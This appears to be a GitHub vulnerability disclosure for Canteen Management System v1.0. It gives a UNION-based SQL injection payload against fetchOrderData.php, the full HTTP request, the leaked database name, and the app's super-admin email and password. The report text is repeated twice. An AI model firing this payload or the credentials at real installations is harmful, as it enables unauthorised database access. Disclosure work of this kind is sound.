

main

...

bug_report / vendors / mayuri_k / canteen-management-system / SQLi-2.md



HKD01l Create SQLi-2.md

History

1 contributor

71 lines (49 sloc) | 2.42 KB

...

Canteen Management System v1.0 by mayuri_k has SQL injection

BUG_Author: QiaoRui feng

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/php_action/fetchOrderData.php

Vulnerability location: /youthappam/php_action/fetchOrderData.php, userid

dbname =youthappam,length=10

[+] Payload: orderId=-1 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13 // Leak place ---> userid

POST /youthappam/php_action/fetchOrderData.php HTTP/1.1

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=1f9hph2449vgrcadct2jgd8ne
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

orderId=-1 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13

The screenshot shows the Burp Suite interface. The 'Load URL' field contains 'http://192.168.1.88/youthappam/php_action/fetchOrderData.php'. The 'Post data' field contains the payload 'orderId=-1 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13'. The 'Tools' tab is active, and the 'Post data' section is expanded.

```
{"order":["1","youthappam","3","4","5","6","7","8","9","10","11","12","13"],"order_item":[]}
```

****# Canteen Management System v1.0 by mayuri_k has SQL injection**

BUG_Author: QiaoRui feng

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/php_action/fetchOrderData.php

Vulnerability location: /youthappam/php_action/fetchOrderData.php, userid

dbname =youthappam,length=10

[+] Payload: orderId=-1 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13 // Leak place ---> userid

POST /youthappam/php_action/fetchOrderData.php HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

orderId=-1 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13

The screenshot shows the Burp Suite interface. At the top, there's a tab bar with 'SQL BASICS' selected. Below it, the 'Load URL' field contains 'http://192.168.1.88/youthappam/php_action/fetchOrderData.php'. The 'Post data' section is active, showing a checkbox for 'Post data' which is checked. Below the checkbox, the 'Post data' field contains the payload: 'orderId=-1 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13'. To the right of the 'Post data' field, there are buttons for 'Insert string to replace' and 'Insert replacing string'.

{"order":["1","youthappam","3","4","5","6","7","8","9","10","11","12","13"],"order_item":[]}

★★